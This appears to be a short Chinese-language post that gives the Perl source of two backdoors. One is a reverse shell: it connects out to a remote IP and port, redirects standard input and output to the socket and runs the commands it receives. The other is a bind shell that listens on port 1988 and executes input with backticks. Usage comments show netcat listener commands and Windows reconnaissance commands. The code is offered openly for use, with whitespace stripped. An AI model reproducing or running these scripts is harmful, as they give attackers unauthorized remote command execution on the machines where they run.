反向连接代码：
1.#!/usr/bin/perl
2.#usage:
3.#nc-vv-l-pPORT(default1988)onyourlocalsystemfirst,then
4.#Perl$0RemoteIP(default127.0.0.1)Remote_port(default1988)
5.#Type'exit'toexitorpressEntertogainshellwhenuunderthe'console'.
6.#nc-vv-l-p1988
7.#perlbackdoor.pl127.0.0.11988
8.
9.#usestrict;
10.useSocket;
11.useIO::Socket;
12.useCwd;
13.useIO::Handle;
14.my$remote=$ARGV[0]||"127.0.0.1";
15.my$remote_port=$ARGV[1]||1988;
16.my$pack_addr=sockaddr_in($remote_port,inet_aton($remote));
17.my$path=cwd();
18.$ARGC=@ARGV;
19.if($ARGV[0]!~/-/)
20.{
21.socket(SOCKET,PF_INET,SOCK_STREAM,getprotobyname('tcp'))ordie"socketerror:";
22.STDOUT->autoflush(1);
23.SOCKET->autoflush(1);
24.$conn=connect(SOCKET,$pack_addr)||die"connectionerror:$!";
25.openSTDIN,">&SOCKET";
26.openSTDOUT,">&SOCKET";
27.openSTDERR,">&SOCKET";
28.print"Youarein$pathn";
29.print"Welcometouse.n";
30.print"console>n";
31.
32.while(<STDIN>){
33.chomp;
34.if(lc($_)eq'exit'){
35.print"ByeBye!";
36.exit;
37.}
38.$msg=system($_);
39.if($msg){
40.printSTDOUT"n$msgn";
41.printSTDOUT"console>";
42.}else
43.{
44.print"console>";
45.}
46.}
47.closeSOCKET;
48.exit;
49.}
正向连接代码：
1.#!/usr/bin/perl
2.#ActivePerl5.8.8Build822
3.#usage:
4.#first:perlbackdoor2c.pl
5.#second:nc-vv127.0.0.11988
6.#netuser
7.#ipconfig/all
8.#netstat-anb
9.useIO::Socket;
10.$port="1988";
11.my$socket=newIO::Socket::INET('Localhost'=>'127.0.0.1',
12.'LocalPort'=>$port,
13.'Listen'=>1,
14.'Proto'=>'tcp',
15.'Reuse'=>1);
16.die"Reason:$!"unless$socket;
17.while(my$new_socket=$socket->accept()){
18.while(my$buffer=<$new_socket>){
19.if($buffer=~/exit/){exit;}
20.$res_msg=`$buffer`;
21.print$new_socket"$res_msgncmd>";
22.}}